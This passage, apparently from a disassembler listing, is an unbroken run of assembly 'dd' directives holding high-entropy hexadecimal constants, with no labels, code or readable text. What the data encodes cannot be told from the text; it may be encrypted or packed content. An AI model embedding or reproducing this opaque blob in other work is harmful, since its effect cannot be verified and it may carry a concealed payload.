0BF78A2FBh, 8FA00395h, 0ED6E177Dh, 0F3814601h dd 741E75AAh, 0B290E62Bh, 0F8A13118h, 0BB2CC41Bh, 0FD082951h dd 0B95F040Eh, 0FA8ED5D4h dd 11355204h, 0D3289314h, 0A6E15FE0h, 0B670F0A0h, 33520660h dd 731EF99Dh, 612D3790h, 0FF5688FCh, 0A6C02B89h, 5811299Eh dd 0CF4AF1D2h, 0F083460Ch, 3B0CE8F9h, 1DED46Eh, 9D095F72h dd 0FB482ED9h, 0F6738105h, 88BFFB94h, 25328996h, 6BBEF644h dd 0A79A340h, 139D74BDh, 0CD035A3Ch, 0FE66926Dh, 6E5FCCB3h dd 0D3AC4AD8h, 0D6E58B4Ah, 1E27B56Bh, 820F8BB7h, 6DD2E092h dd 4AB3E036h, 35E2CA7Ah, 226F33AFh, 89F93917h, 23FAE0A1h dd 95EE710Fh, 13B88E49h, 0F5B0C1E7h, 587CA0A8h, 69208D98h dd 60F89501h, 742B2041h, 0A094E610h, 4C3ABEABh, 272D3729h dd 2AF15DA2h, 4D69175Ch, 48194617h, 3A1DC12Fh, 88BC2F5Dh dd 0BA600004h, 66912D37h, 13F1419Dh, 0FA566102h, 35801E51h dd 0B3D7C781h, 94955D7Fh, 0BCD574FBh, 0F466F47Dh, 5815016Ah dd 22C0B6F8h, 0F24E564Fh, 60D59316h, 8380BEDBh, 0AE5A08Bh dd 8D167698h, 3BFD0F59h, 0A0A0E696h, 2F44518h, 3B23E42Fh dd 315C5786h, 0EE2E6B25h, 214CBDD1h, 14A99D10h, 50D7325Fh dd 11101BD6h, 17CE5F25h, 4F30AD20h, 55F390h, 0D197BF95h dd 1481B0h, 0B1CC1692h, 855F1D4Ah, 90A7CA00h, 397B4BBFh dd 69E6D435h, 0A4110h, 0BBC60968h, 9452502Ah, 0D78240E8h dd 8E00B2A3h, 0BF310FADh, 8D557h, 81585A41h, 0C5F62434h dd 372AA42Dh, 517E000Dh, 0B88FB2Fh, 2073A624h, 0B74FD426h dd 107BC8h, 1CAABD99h, 0FA85CFA9h, 0BC3D9516h, 77D5E482h dd 7380453Dh, 5DBA25A2h, 3C3058E8h, 4A317110h, 9B3B8AC9h dd 87A2D777h, 94E2E9C4h, 0B83EE908h, 145003Fh, 439BCB05h dd 0BB12666Dh, 0A2E389F7h, 0C7DA8A0Eh, 4FBF1808h, 342B7EC9h dd 0DF9BAE56h, 4EBA9C80h, 0D13C9CEh, 8BF04036h, 9C0E4B71h dd 954A317Ah, 578939D2h, 0F1E0D6EDh, 22BD2E2h, 1050777Ch dd 0E8F0EE48h, 0A0A02348h, 4BE1BD0Bh, 5B58892Dh, 0F813C04Dh dd 0B0C5823Fh, 0EE4C5C9Ch, 0B0BBE309h, 0C280920Eh, 5F42DE5Eh dd 29690095h, 9715B585h, 4CFE763Ah, 9930BDCh, 218267D6h dd 467E2BE5h, 0C8F225h, 0CF54FB68h, 0EFBF66D1h, 0F3C7654Bh dd 2E4FAF21h, 0C94ADA2Ch, 0DE9B2E4Ah, 9FF579C0h, 0B5168957h dd 55B805A5h, 408B8889h, 2C079559h, 802F8286h, 735C8CACh dd 8F040552h, 0BC5B0511h, 9375C060h, 7E44906h, 25F7E0D5h dd 6C9830FDh, 5B39DF95h, 0CE89341Eh, 0E5B8EBE9h, 0AA0AEE7Dh dd 9BC0F468h, 241FA908h, 6204112Eh, 6CCFB9C4h, 0F19B8A1Fh dd 0B9D10F25h, 0EDEE7B8Fh, 116D8F80h, 0B000C9DBh, 59B3CA29h dd 0BF6117B5h, 4609D3B7h, 0CD6B40F9h, 0DF56822Ah, 0D120105Bh dd 0E781031Dh, 0C49AD939h, 1AA238B8h, 2F4599C6h, 0E177C13Bh dd 67AA041Bh, 89BDC564h, 0E13A2BF5h, 0BFD040E4h, 320BC985h dd 4BDCABBCh, 25E38A65h, 0F6EF7EC8h, 7609F302h, 960AEE8Ch dd 5C9A69CCh, 890C3777h, 0AE85D34Eh, 90FCF28Dh, 0F80527E2h dd 0FF9A9540h, 744B5056h, 0AD5EDE04h, 0F04A6BA6h, 82E4C07Ch dd 25486C9Dh, 37C170B9h, 93A52F95h, 0BCFE352Bh, 221548E7h dd 1F953911h, 0C4810070h, 9FBF4DB9h, 2A73726Ch, 86F04F14h dd 485452C9h, 0CEE55BB6h, 8237533Ah, 88941797h, 208DF0FFh dd 1CF93B97h, 2B7BDBBCh, 0EB16308Dh, 1897AA40h, 9702B7C1h dd 5EBB9D18h, 723D8C12h, 9A4F49E7h, 0FFC78007h, 20EF1C1h dd 8772CF81h, 4F5C5484h, 17D13D29h, 0CA127518h, 68E126B7h dd 1B540847h, 698D4B1Eh, 6F5963A9h, 5A3989A5h, 194F953Dh dd 9D8E6240h, 0FDB42E4Ch, 7EBF1A9Ah, 6A5F767Ah, 0D7F0B7F6h dd 7D1CF66Ah, 0D0C59EB8h, 0EC056509h, 0F8292935h, 0AF81206Ah dd 0E003F926h, 0F3E7F8ABh, 0AED9A0DDh, 0BD9F3856h, 0C2D3190Fh dd 2C9D8DD7h, 8D7180E7h, 540CDD1Fh, 1560B96h, 0A7C6B309h dd 0F5CDBB50h, 7696E990h, 6887F099h, 0EF2022Bh, 0D8A596BFh dd 0F669947Ch, 0B70713A6h, 8A9D4AEEh, 37A8032Dh, 227550C5h dd 963956A4h, 80662526h, 0BD4E3190h, 60B23F12h, 40F44F8Bh dd 2D6328F6h, 0F1C0EB9h, 0BF61C1B7h, 7A5096F8h, 0F03CCFC8h dd 23890114h, 6B9EFE0Eh, 0FB207F01h, 0F120F9h, 7B3A095Fh dd 7C9B8627h, 311396F0h, 8D2D1995h, 1EF1E889h, 13A55F73h dd 763FC028h, 8848002Ah, 0A956E02Eh, 23AA1DB1h, 80A1B77Fh dd 5416AAEFh, 0DA127CE0h, 0C60547F2h, 47041CCDh, 60AA1621h dd 18E629C7h, 0AC9C33Dh, 9695CDFCh, 715BF909h, 0FE624435h dd 0C90EE77Bh, 948B501h, 125264A5h, 4B29BD31h, 0E27BC63Ch dd 3B34D0h, 750115C1h, 8960AE66h, 2E63857Dh, 256D9D73h dd 34C5617Fh, 0D22FEFA4h, 97C1E83Ch, 6D7D2E0Fh, 0FA00EB37h dd 8E6E26CAh, 199D1703h, 0D65CBD2Ah, 0A7E34EE6h, 9A2542E8h dd 0DD852918h, 4A0F50E1h, 0B4333181h, 7668285Eh, 0E4796105h dd 49A66A2Dh, 85F4CBF0h, 0BA1B117h, 256C3515h, 20637B8Bh dd 16A128B3h, 4A60EE75h, 0FE715214h, 0C5599370h, 0FD1F016Dh dd 66543B39h, 90F2F8BBh, 5003F6B3h, 0A65FD98Bh, 0AFB32020h dd 0B38C854Ah, 377E26DBh, 0BD611367h, 7DDB5B6Eh, 0D0529ECDh dd 6A5A38D0h, 1AF094B6h, 212A887h, 5DE39D7Ah, 598D0909h dd 3A5513C2h, 17357524h, 8BAD1603h, 0ED5EF81Ah, 926FE9Bh dd 7B2107BFh, 0F4D12A87h, 4F0781F8h, 84292EE5h, 0ADDF2EEEh dd 29025990h, 2BE9B530h, 0B526B350h, 2AFA0991h, 0B736D49Dh dd 7F84BB0h, 2B7AE800h, 5121AD64h, 0A2BB0160h, 132E6C8h dd 619348BDh, 0EACE912h, 0A7C930E2h, 0DC433008h, 94970C00h dd 8EABBE2Ah, 0EB752484h, 52991261h, 0B855ED22h, 0F3CF25E7h dd 0A973DC6h, 84135B0Bh, 0FE929FF2h, 0E304B835h, 0BF400580h dd 7989BC7h, 0E16E905Fh, 758E8A00h, 0C1B25C3Dh, 0CF812E07h dd 24242B35h, 0A75FF9ACh, 67A0E0CFh, 2220907Ah, 0CE961C8Ch dd 70260440h, 61DA1CE5h, 0CD5E8069h, 16C959CFh, 0B06AE92Eh dd 12119108h, 0A0EE65Bh, 0C43D9D0Bh, 0DD44A5h, 4BCA51F3h dd 78FC85C1h, 0F547EC13h, 7EB33A02h, 69215C9Bh, 6ADFF883h dd 0C94F68D6h, 12119121h, 3D0F5991h, 98330075h, 0E7EE73B8h dd 776302D9h, 3AE1C61h, 0ECC5E056h, 41459ECCh, 4F527C2Dh dd 0D1817E90h, 80A70522h, 94B06102h, 0FFC0C72Eh, 0B770E6E0h dd 7104E433h, 0A299D31h, 0BC6DCCABh, 0BD5E81A4h, 0B6196EE2h dd 2B9D46C8h, 0A258ABA7h, 4C1C0D10h, 0D3810157h, 1B67A115h dd 60D40F2Bh, 62A5025Fh, 0E24007FCh, 0D29561D1h, 719D104Fh dd 642B370Ch, 2DA633E7h, 0D88A2797h, 0CB034D92h, 0F5480531h dd 0B7F01794h, 0A959F1E0h, 0EF6161BCh, 810A943Ah, 2B9B93DAh dd 8F5C80Dh, 2EA99E11h, 22C2A904h, 8D92C411h, 0A4D9EE23h dd 2181168Bh, 18EC0276h, 0CC6AE145h, 1A448491h, 0A1A5F4FCh dd 8E8BFE16h, 0D48891D5h, 4A142851h, 0BD9CD8DEh, 5A13F33Fh dd 6F8060DBh, 0B8CCEFA6h, 3C0C3771h, 68F5AC78h, 0DB6A5EFEh dd 3C47C06Ch, 14B68668h, 0BFF47D9Ah, 5220E70Ch, 5A25C70Ah dd 0C113F404h, 12AE19Dh, 0C83FBCB9h, 8895D8F2h, 3ED6449Fh dd 720FAE57h, 0AD2A5BD2h, 27F508E6h, 1109FC12h, 0B81E2575h dd 877EABh, 0EE180B0Ah, 17CC87BEh, 531E5F50h, 2908BE25h dd 0D22B091Bh, 97DC7C56h, 75D61929h, 0ACEA4D25h, 501D698h dd 0A06C15FAh, 0FA38FE8Ah, 4433C112h, 0E7880D37h, 7942B083h dd 0F1DF01CBh, 1A58265Ch dd 0D6143CF9h, 954AA9A3h, 0C17ABFF3h, 76611101h, 2B6AEFB4h dd 3D51F62Bh, 0BF30947Eh, 4980F9DBh, 3B8546AEh, 294D1002h dd 911E18Dh, 3E44E451h, 0FD923754h, 0B17BCD1h, 0D3AA5AEDh dd 0AF8A9300h, 9A953F5Ch, 1E0CE0B4h, 0E1FF26F4h, 0EDD0922h dd 0CDC47359h, 8866A252h, 30EDAFDBh, 1D92E5C0h, 1F5F0497h dd 0F24F29FFh, 39F40047h, 7B08446Ch, 327000DDh, 0DBD3405Fh dd 0D1057753h, 51467290h, 98E7C8Ch, 8C3E12D5h, 0A2290D7h dd 0F45A122Fh, 84B1B24Ah, 9EBA0447h, 95168069h, 4361E41h dd 4F8B2053h, 1CC7EF99h, 6F6017D8h, 80840143h, 23507A29h dd 5B21227Eh, 4225AD56h, 80E3B789h, 0B5C0CFBEh, 660453B8h dd 5B3E8CBFh, 4522AFADh, 3D27CC98h, 2F5309h, 54889E5Dh dd 1A0197E2h, 0FD492175h, 757F7AB3h, 0A7FDA692h, 29387010h dd 60B13802h, 313BD4h, 2F7172BDh, 0B1F4579Bh, 1512E207h dd 59196154h, 0CACDA7EAh, 505F82C0h, 59E102C8h, 0C53FB1DBh dd 900DF84Ch, 350A870Fh, 306A8DD9h, 50440CC7h, 851BBF3Eh dd 29907614h, 4F349E12h, 0FD0095E2h, 9EB293A1h, 10083F7h dd 0C60D59DBh, 264D6C68h, 20730F4Ch, 0CD799717h, 0B8BB7BEh dd 1F167009h, 25534E93h, 84C08A4Dh, 5D5691Dh, 8C8F4953h dd 4BDFF3B1h, 1CA21488h, 89A5DD8Eh, 6C56488Ah, 1447DAC5h dd 4FE0521Ah, 0F84AD773h, 0E9024B11h, 4C5E84Ah, 4396E534h dd 0D4C5ACF9h, 2D19104Bh, 7BC9954Ah, 5FCB00DEh, 0D1E88423h dd 0CE7B1783h, 68265A2Ch, 0E19D00C4h, 162BF8D0h, 2979CF5h dd 659CB299h, 0B04454C0h, 4EAE4EDAh, 94A9E83Dh, 0A2DC1215h dd 0A64AE8B3h, 0FA25E0CEh, 0E8183A35h, 0EE720888h, 2A3BEF01h dd 883F0689h, 0D503FD7Fh, 0BD1B2B0Fh, 188202A4h, 5F309024h dd 6F94D84Ch, 0C1FC3C40h, 0A32D38D0h, 0BCDD8F00h, 7C52FB89h dd 0BF312C01h, 61DD658h, 446AE41h, 17DF3470h, 1BB5196h dd 5B415994h, 2CC0E650h, 28FEE52Ah, 5BE29295h, 0C7227841h dd 4A3AC948h, 508171A2h, 171B8E0Fh, 75F35275h, 0F44086Bh dd 0CE97F601h, 3EC430D0h, 0CC5FF9D4h, 60778B26h, 543810BFh dd 0D35500F0h, 3BA8A69Eh, 7452C315h, 615F122Eh, 0DDBFCC00h dd 0A360D3D7h, 0B557A863h, 6158398Ah, 0E02BB64Eh, 264F0DDh dd 89F2BC10h, 27D6101h, 55094134h, 0B2D694BAh, 916F9840h dd 81720017h, 6C8B4ED3h, 93B55B27h, 6EAEACD7h, 5160986h dd 62C10B33h, 0EB175EA9h, 635005FBh, 9DA1A0F1h, 3D2BFBA9h dd 956E6ADCh, 0C0682600h, 3B0C8314h, 56D88A24h, 2BB2DE12h dd 6A36468Dh, 9BC21CDBh, 0F8D46373h, 9A2A1508h, 0B0D42537h dd 8E824BDCh, 5A0FB823h, 17BCD88Fh, 25555482h, 25380E65h dd 49EBD05h, 8012F07Bh, 0A51A67CFh, 89D61402h, 57201DB5h dd 0C820C31Ch, 8DBB3C04h, 86B2BF7Dh, 96805F12h, 1185FDE9h dd 0BBFF6E95h, 0C47D50F6h, 7094B504h, 9EAB2E3h, 99594381h dd 95BD0B82h, 0E9F25627h, 0FBC0CF6Dh, 2A8262Ch, 2D285ABBh dd 0AB423CEBh, 968371FCh, 0D8E2F0BFh, 0E556501Ch, 8ACB146Ah dd 6367312Ch, 8D88B791h, 857FA515h, 22246200h, 33F04211h dd 0B37809C9h, 21702B87h, 97F6964Eh, 39E04BF3h, 9A01C61Ch dd 89732E6Dh, 5D3EE59Dh, 13F18BE1h, 387ACEFBh, 5ADDCC6h dd 793A17E9h, 0DF63F813h, 0C43210E5h, 4E110076h, 0E2CD433Bh dd 64090AD6h, 715FE0A2h, 0A5E2A180h, 42803DB7h, 5E48E020h dd 810F1216h, 2570FE18h, 0E3D3A8h, 2787EFA7h, 0EE0C6812h dd 0FCBB8A00h, 9223ED56h, 0B51A977Bh, 720B7F5h, 670C40D2h dd 0D471D9DBh, 5695098Eh, 0D5AD54C4h, 73C46BD2h, 3FFF8500h dd 0B380D803h, 0D308979Eh, 4154A778h, 25A4AA40h, 83C7008Ch dd 0B3DDE4D1h, 72B8305Ah, 2CC8B95h, 571BAF63h, 8476333Ah dd 117239D4h, 54E1DD00h, 0FB40F795h, 0CABD8975h, 25EC5621h dd 3860D74Fh, 1080620h, 0FB8B051Dh, 6F31BD23h, 5C1ACC89h dd 0BA5B0BC0h, 2F0549B3h, 160F0AA3h, 0B74AB1B8h, 0DED105Ch dd 3D8D89A0h, 5E5085C9h, 88B44041h, 3DB0E01Ah, 0A5B0F500h dd 853B38F2h, 2760989Eh, 1A4A08D8h, 0B100F4D9h, 6B4E41E5h dd 9D030991h, 0DB1C16C1h, 0CC359Fh, 0D300FD4h, 0E91443B7h dd 3AE85Dh, 0E4B4753Fh, 4AB32C96h, 963FE2FCh, 0A0A0FAB6h dd 2B0962FAh, 0D109359Dh, 0DC560974h, 3E44E271h, 7FD32458h dd 7950A527h, 7A2F05ADh, 0A100BF38h, 0F48AF105h, 7F760ABAh dd 1CA6CF29h, 0DB2FA1E7h, 0B1097AAFh, 0D8F0A7FBh, 0ACE5008Ah dd 9FD4193Bh, 6028CB2Bh, 130035E8h, 0D10D52D2h, 99FB4Eh dd 0B4E1BDC6h, 115BB830h, 2427391Dh, 465127h, 0A01D4593h dd 0C004CE87h, 61F85F5Eh, 10D21ABCh, 0E84B30BFh, 0CEF53DB9h dd 0C34C3960h, 8C6F049Dh, 0B2613691h, 5E1D0068h, 28A48F51h dd 0C4A15F47h, 0F7855323h, 15CB0C1h, 3FAF02FEh, 81BC95F3h dd 5F9D625Dh, 75561609h, 0D65AF6E9h, 69B08916h, 78B56C09h dd 463C9740h, 0CC58739Bh, 5A191F09h, 0B96B523Eh, 0EDB6D698h dd 946ECCA0h, 101E5313h, 0F2001FA2h, 0CA50F18Bh, 9047184h dd 0C6FBC934h, 921D00A4h, 461C9794h, 13919D11h, 0FAF29A12h dd 0BC00147Ah, 833D92C5h, 0E004FB87h, 0C18B865Dh, 0CB109FEh dd 2B8E4B7Bh, 722D2BBDh, 0E9C790F6h, 2F18F224h, 5B376AF2h dd 0ADAB3381h, 0C9C8D68Eh, 898016CDh, 852EB585h, 1659D6Ah dd 600FC8AAh, 16DDA6C4h, 0AD9D3301h, 1361030Ah, 0FD7168B4h dd 2691E8E0h, 8F3F9FAh, 0C2251DFDh, 0DE2BF651h, 0BD0B4E0Bh dd 0B32522D1h, 952BD566h, 6100C73Dh, 8FD8085Bh, 91FEC9A5h dd 23FBFD62h, 274F7D0h, 14BAA2C6h, 9B75D0FDh, 0BB520295h dd 3DB34EB0h, 4FAF5B5Eh, 4A924131h, 52B36AB0h, 0B9F72403h dd 9AF9134Eh, 3505D038h, 77FE1916h, 1CAAABACh, 0B9C148CBh dd 1A7B6F82h, 0ED530F6Eh, 0CD560497h, 13B8122Eh, 131A8711h dd 32A8F860h, 0C47CAA80h, 0CF00B24Ah, 9663C294h, 2795FE1h dd 0EBF02A8Eh, 0A55E6191h, 0BB147551h, 2F1B3AC6h, 0D97B026Ah dd 2262370h, 0E3508015h, 0BF4082D2h, 0C461F5D7h, 9139CB0Ah dd 2C622FBh, 3604B724h, 64CFCDA5h, 4D0B6017h, 23D85A09h dd 0FEC8BE05h, 1C316643h, 0E95FE485h, 0FB1C57CAh, 5ACB7248h dd 0AAD2FEDBh, 0B4880912h, 24E600CDh, 444E1026h, 8D3B6692h dd 659A07CEh, 0D143D28Bh, 0FFE8A4BDh, 0D3FCADD2h, 5EA8C0A9h dd 30001E90h, 0BB515046h, 4E7CDCA0h, 7B8EE543h, 0EE2E326Eh dd 71508FDh, 0BD01893Ch, 4B6750D5h, 59C9CA5Bh, 5EEAAD77h dd 8EAE397Ch, 0BC504506h, 971E22A4h, 0F960B530h, 61D58A16h dd 70D0DEADh, 0F5125AFCh, 0E06FFF6Ah, 0FD411200h, 7D23A6FBh dd 0C28036B8h, 5CB8C0F2h, 26E6ABFh, 0D53169A1h, 1D44C094h dd 0E0DD4A8Ah, 0D99F86A9h, 505A474Bh, 6A3E48C0h, 371F2700h dd 0E62FB814h, 452BE70h, 0B871E41Ah, 0CB924B0Bh, 0E11A2BEFh dd 4309E1D9h, 4725ED2h, 0BC5F4DD5h, 239584D7h, 5D10173h dd 39840921h, 0BCF89960h, 9D2B0BD7h, 70732961h, 0DE8A3DD2h dd 0EF51C8A5h, 43ECF400h, 3BE8058Ch, 8B944E88h, 6912F3D1h dd 6B64AF0Eh, 2E084F82h, 0D0282C6h, 7ED88B39h, 0DC010527h dd 0B151E47Ch, 5B05C2EFh, 9DAB46ABh, 12DC6135h, 5654BF01h dd 482F22D5h, 0AAA413E3h, 56005511h, 4C8A24BBh, 1F985B33h dd 74045D25h, 11D7E89Eh dd 0E7800903h, 11E879BCh, 62D04030h, 0A5507C7Dh, 3115FE1Ch dd 6DAA5185h, 986ED2B8h, 0E6003D1Ch, 0D64AB054h, 0FC4C91E2h dd 8ABF0989h, 0FE7B5FFAh, 13FEA805h, 3ABCB6B9h, 60D05E0Bh dd 89D02109h, 0BA68059Dh, 0D0E65F25h, 0A8B86000h, 61747EDFh dd 9622EB9h, 0F1C944FEh, 0D4132EA1h, 1676EABh, 36F75BA6h dd 5AE3FC4Ah, 0ADD3C52Eh, 693D8042h, 4B17D535h, 770DECFCh dd 0D2B2F44h, 0A99509C0h, 6FD2E113h, 0F136A820h, 0E0310E15h dd 23879673h, 337BA076h, 1D24A9EAh, 5D04DF7Ch, 0AEBC5FF3h dd 0D8D780F0h, 0B17853B3h, 80A95FDBh, 1369EB90h, 0DA40D19Ch dd 7A59C6FDh, 82F0042h, 0C3C8A27Ch, 0C49FD139h, 0F7800A8h dd 4D8AB014h, 982C8612h, 88166A95h, 0D3C090E9h, 8F775196h dd 252DEA00h, 3A3E187Bh, 0F56602CAh, 5B4EE076h, 0DBAF00D3h dd 0E10A5028h, 1CA90B12h, 66D09A01h, 342F1E90h, 0BCC0B8E1h dd 0DE1D4B05h, 791680F9h, 5C117847h, 127538B8h, 0F21C2E4Fh dd 5D6789BFh, 56824DBDh, 0D2F98B46h, 844DBD1Eh, 404DA0E1h dd 0ECA8256Fh, 7306255Fh, 17809795h, 0FF6E819Eh, 80A538E1h dd 2A1CBD03h, 57332556h, 4B11E8E5h, 6980155Ch, 605027B5h dd 0E5A7891Dh, 9E9DC080h, 124ABC48h, 0F2BF6CBAh, 0D14289FFh dd 0AE70490Ch, 80F5FF61h, 0F16BCFEFh, 0BCBCFFD4h, 806E4F63h dd 75A0803h, 44A887BAh, 0B1628FA4h, 0F6B585B0h, 0BACA4052h dd 72C46136h, 99BCAF67h, 73F16E5Eh, 5F51CE12h, 4A0C92F4h dd 0A4CAE701h, 0B1225987h, 0B7385515h, 0EE09F381h, 7B137969h dd 1ECDAD6Bh, 1A31CF40h, 76BE094Fh, 2598E75Bh, 3E0046C9h dd 857FC258h, 0BB2252Ah, 9A837A10h, 5B94582h, 51505F01h dd 0BF3B167Ch, 5C707FA5h, 6F489A08h, 30E62F33h, 746B597h dd 0A0EAC0DEh, 4BF9BFB7h, 0C1087E27h, 316E0684h, 7F1C0h dd 24D12868h, 25B15369h, 0D2D784C0h, 0BF047679h, 10A576Dh dd 9BD64CACh, 0AEC880DDh, 1BD1157h, 4BC78192h, 2F3D3B99h dd 57FB8067h, 24E9E822h, 7AB742E8h, 9D59B097h, 881EEB91h dd 0B42DC019h, 800245DCh, 0D9BD2320h, 43165718h, 3E1C359Fh dd 0D375DC0Ch, 0F6E0DD6h, 922DCE57h, 81C044B9h, 1C4BF7D3h dd 8C0F4712h, 0FD4F01B3h, 4D892FEEh, 0F709E3FAh, 0C42692F1h dd 975A3BF2h, 89FD45C4h, 0C95AFC4Bh, 0B3A03061h, 4B8997C4h dd 5DC8CD4h, 0ACDC0DBFh, 2BEE860h, 9D2BFB4Bh, 0AD057485h dd 0F29D650h, 0AC3B9F8Fh, 9B60BF52h, 2D1D925h, 0EABFF2E2h dd 9A4156FDh, 33162F53h, 6EAEFA84h, 7F2700ADh, 34632850h dd 2010B72Bh, 0B3011B91h, 0EEDAD0D8h, 0C7C0ABE8h, 13350977h dd 0BE7973B0h, 63E590A7h, 0DE580F9Ah, 0BAA337B4h, 68C84CBBh dd 0A027FC78h, 0A44CAh, 0B7D1B450h, 0BCAFA577h, 0C602637Eh dd 46FD5ADEh, 0F89075AAh, 383E14B7h, 0E0DA807Dh, 0FC9EE942h dd 52840EABh, 0B8525B5Fh, 78704ADh, 1881357Eh, 742F0FD9h dd 0E06FB666h, 9CB529ACh, 0CD509444h, 0C0DF8B14h, 5A7D844Bh dd 877B82C1h, 0BE5AC70h, 143DBD33h, 0CA7D2B6Ah, 0C83A4D15h dd 296E6260h, 51EB841h, 0ADC96D1Dh, 6B8B7B13h, 17D40CDCh dd 0F8AA5E34h, 0C4512EBCh, 9CE2FE12h, 4135238Dh, 6F37E978h dd 28C9BB9Eh, 24D76679h, 5F90BD5h, 3B80B93Dh, 3C35668Ah dd 162F27F6h, 465D589Ah, 9726B037h, 14208E14h, 0CF575004h dd 8C3A14CFh, 0CB7CE5Fh, 0B52F8929h, 8B6A0239h, 5984FBD9h dd 0B9F41917h, 8B7C36EDh, 3A975B74h, 5CB55F86h, 5C6C9100h dd 0EC12E653h, 2D9D1809h, 45BF5033h, 49922512h, 0BE47ABE2h dd 0AE3DBFA0h, 0A2ABB20Ah, 0DF01896Dh, 2825BD09h, 81B2702Fh dd 9EF297E7h, 0B5EC5E62h, 0A81AD71Eh, 315EAF57h, 75697D01h dd 2A650D3Eh, 26618D9Ch, 0C0AD1004h, 0B439EC4Ah, 6E35C801h dd 611CE263h, 0BC22342Fh, 8401CF3Ch, 2EBD3071h, 0EFB70FC4h dd 0F2B51512h, 0F039F62Eh, 97DDCB80h, 7DDBF01Ah, 64A28173h dd 7632CBF8h, 99244867h, 0ABBD4135h, 1823326Bh, 0FE8E0501h dd 0F860551Eh, 0BBABB1D3h, 0AD198280h, 0C37E2B44h, 611AD712h dd 0DB2B23F1h, 5637895Ch, 0F65A259Dh, 28DDFB4Bh, 7A06676h dd 0E12FA83Ch, 0E56802B9h, 6E225EBDh, 97D7A8D2h, 7CE86CADh dd 0A5E1ED3Eh, 596873F9h, 0B231818h, 0E4105CFBh, 54D32798h dd 3FB00F00h, 9A43D28Ah, 86C505B8h, 0E81B6449h, 7A9171C7h dd 0A800A647h, 0C5C62D85h, 85D827E9h, 0BA84AEC1h, 7C49C0D7h dd 5F61AFF0h, 166F2F1Dh, 92091523h, 0C5A4023Bh, 0C73A5731h dd 0F9C15287h, 3371C75Ch, 0B0B6B72Bh, 0C0E6E1h, 965DA4A2h dd 0A8EBF66h, 8FBB5038h, 7672C93Dh, 6D9EA05h, 81607560h dd 52AA05EFh, 0AE617540h, 819A0C74h, 66CC3DC0h, 1A139957h dd 33083CA7h, 0DC609D0Eh, 8D512582h, 2C16564Bh, 1A46D4BDh dd 0A099BD00h, 7A4D62E3h, 4591035Ch, 9E522BB9h, 0BF37AFEh dd 0DE9D2BC4h, 0EEA7A08Fh, 0A11C971Eh, 8D7E5F45h, 85742BB4h dd 0F9A893E9h, 9F0A9305h, 12EF91C1h, 0B1C852FEh, 0F7F62A7Bh dd 9F199DE1h, 22A51D4Ch, 5C296525h, 6ED17A9Eh, 9EDC7C2Dh dd 0B8B19202h, 0E5C54EE8h, 25BFBDB0h, 0C973C426h, 40336DADh dd 0FBC05537h, 0E56D1B05h, 0F6F86275h, 0C126BC5Bh, 3F9B1780h dd 82D5F5F4h, 90244D6h, 0F56A6B39h, 0FC9A0719h, 0BB01D405h dd 67ACB1D6h, 51D49506h, 165F3558h, 6883AB2Eh, 8AFD0B2Dh dd 72E461ECh, 9952E00h, 5F5BCE70h, 4E0E0D33h, 0ECECFCDAh dd 62E1480h, 30125709h, 810F7CE2h, 50C773DFh, 0B8602070h dd 0E812B641h, 6C46178h, 84019BABh, 23BAAB86h, 5BC0E7BAh dd 7407DD97h, 0F0DC1194h, 1A157C8Ch, 667849F1h, 0AC53C561h dd 1909830Ah, 0EF38F70Bh, 497BBD01h, 0BCA5CE95h, 0F3704093h dd 0C901EDF4h, 0C1AC2B62h, 6E6AD1FFh, 6188001Bh, 5AFC9F4Fh dd 0C6221743h, 7E0AB030h, 0C55FE225h, 0DE741209h, 0CC7EC43Eh dd 6C807C85h, 9704E5BDh, 0AB54291Ah, 4CFB72D4h, 91101042h dd 0CF810329h, 0C21A7363h, 1E4650h, 7BFE3558h, 28537E3Bh dd 0FA5D2C09h, 8226743Dh, 1C4033F3h, 84B76FCCh, 8B88E70h dd 4807AE1h, 18A165C0h, 0D29F9B10h, 0F58A6875h, 0BFD0501Dh dd 0CCC94ACDh, 894A0FF7h, 3DE7188h, 0DBC5BF50h, 0C35B0D5Eh dd 0F01CD6Eh, 0E08A65F3h, 436E3C12h, 0FB670199h, 9226C680h dd 1612E4C0h, 0AD6B0A97h, 8C1AB8AAh, 0E2E43FFFh, 0A60BD96h dd 548205CDh, 0DECDCAE3h, 0A30BCE82h, 0DDFEE60Bh, 928ED6h dd 0C65EB8BDh, 0FF6A9E64h, 2DC28B6h, 8D8548CDh, 415E8E6Bh dd 0AC35B47h, 4A3CC089h, 5F3E273Ah, 0A26F747Ch, 927798Dh dd 0BB9D382h, 0F44ADCh, 0DB7313BEh, 0BD74A33h, 2985BD12h dd 88839E2h, 2C1201A7h, 57C2B06Fh, 453F104h, 22B926B3h dd 0E380F122h, 0C4951B11h, 801499EDh, 0CF1E58DAh, 0E54BF720h dd 0B661C88h, 0FCC254BBh, 6A755E11h, 9D89C4D0h, 89224B99h dd 80082819h, 4CFCD986h, 0D57E00E5h, 2BB87382h, 955089C8h dd 0D1248B42h, 51CB2E60h, 0D62000F6h, 2B7811B8h, 0F6456200h dd 0E7F49D46h, 4186BE61h, 550C8E0Fh, 1973A306h, 85670739h dd 0FC7DA42Eh, 6290D97h, 0CF398C2h, 0DAEA014Ah, 0A1EEC590h dd 0E196889Eh, 0EA5B181Ch, 0E69523B9h, 800B441Ch, 22B9EF58h dd 9DA4B83Eh, 1DAC7471h, 5E093509h, 4726C416h, 0A5B5D98Ah dd 0B3FE1702h, 0B6948DE7h dd 5201E276h, 0D67CFC69h, 4FC0EC3Ch, 0CC648425h, 0A3A2624h dd 2864377Bh, 3083CCA1h, 0F0030BD3h, 123165C8h, 0B36AFDD0h dd 0D3D6003Ah, 86183391h, 5F6F00E6h, 706EF0E7h, 2E26A93Dh dd 0DF06AF37h, 959AFD7Dh, 8C702FB2h, 0B999D305h, 0CD4507E4h dd 72AB0E86h, 0EE7D4915h, 79BA814Ah, 1573F5A5h, 249A2D8h dd 192165F8h, 0EC7D0F82h, 8078B106h, 0AAD83D59h, 1200A469h dd 5CD7E557h, 14334BECh, 0FCFCDBBAh, 0BD015512h, 0B5CB9E2Bh dd 0BA61A77Dh, 1BF9170Eh, 0CD1D97E8h, 0CF4B368Eh, 9DBD02FFh dd 253C5475h, 0F9975F67h, 0A6949E9Bh, 0D4038FB1h, 0C4960A31h dd 5611A58Bh, 8D09C1EEh, 62173EF9h, 25AA53ACh, 0EC2BC632h dd 0E576C4FEh, 0BD33B82Eh, 76E14921h, 92AA9B2Ah, 0FC7B0C00h dd 26B2D496h, 9E12EE9h, 0F35C19F1h, 81114471h, 0FC6A8BDBh dd 8C42A51h, 0BF867AEBh, 1464A0EDh, 0EB802760h, 75A80E4Ah dd 0F8E15E71h, 7111258Eh, 